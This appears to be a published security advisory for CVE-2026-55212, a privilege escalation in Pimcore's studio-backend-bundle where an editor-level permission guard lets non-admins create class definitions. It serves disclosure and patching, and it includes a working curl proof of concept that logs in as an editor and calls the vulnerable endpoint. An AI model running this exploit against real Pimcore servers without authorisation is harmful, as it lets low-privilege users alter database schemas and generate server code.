high · 7.1CVE-2026-55212Aug 28, 2026

CVE-2026-55212: Pimcore Studio Backend Bundle Privilege Escalation via Incorrect Permission Guard on Class Definition Creation

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A wrong permission check on Pimcore's Studio API lets any content editor create class definitions (a schema-level admin operation) without ever having admin rights.

Packagepimcore/studio-backend-bundle
Ecosystemcomposer
Affected< 2025.4.6
Fixed in2026.1.6
CVE-2026-55212: Pimcore Studio Backend Bundle Privilege Escalation via Incorrect Permission Guard on Class Definition Cr

The problem

The Studio API endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is decorated with #[IsGranted(UserPermissions::DATA_OBJECTS->value)] instead of #[IsGranted(UserPermissions::CLASSES->value)]. DATA_OBJECTS is the standard editor permission for creating and editing content objects, not a privileged operation.

Class definition creation is a structural, schema-level change: it writes new database tables and generates PHP class files on the server. Any authenticated user with the routine objects permission can trigger this via the Studio API, even though the exact same action is blocked for that user in the Classic Admin UI.

Proof of concept

A working proof-of-concept for CVE-2026-55212 in pimcore/studio-backend-bundle, with the exact payload below.

bash
# Step 1 — log in as a standard editor (objects permission only, no classes permission)
curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

# Step 2 — create a class definition the editor should never be allowed to create
curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

# Vulnerable response (pre-patch):
# {"id": "testuid1", "name": "UnauthorizedClass", ...}

# Patched response:
# {"status": 403, "detail": "Access denied."}

The root cause is a copy-paste or oversight in src/Class/Controller/DefinitionConfiguration/CreateController.php: the #[IsGranted] attribute references UserPermissions::DATA_OBJECTS (the objects permission) where it must reference UserPermissions::CLASSES.

The fix in commit d1a4788 swaps that single attribute to UserPermissions::CLASSES->value, matching the check already enforced by the Classic Admin for the same operation.

A second, compounding issue exists in src/Class/MappedParameter/CreateClassDefinitionParameters.php: the constructor only checks for an empty uid string, so a malformed UID passes the API layer and hits model-layer validation deep in ClassDefinition::saveClassInternal().

The patch adds an anchored regex check (/^[a-zA-Z0-9][a-zA-Z0-9_]*$/) at the API boundary, ensuring invalid UIDs are rejected with a clean 400 before they ever reach the model, preventing internal stack traces from leaking to the caller.

The fix

Upgrade pimcore/studio-backend-bundle to **2025.4.6** (2025.x branch) or **2026.1.6** (2026.x branch). Both releases include PR #1886 / commit d1a4788, which corrects the #[IsGranted] attribute to UserPermissions::CLASSES and adds regex format validation for the uid field at the API layer.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research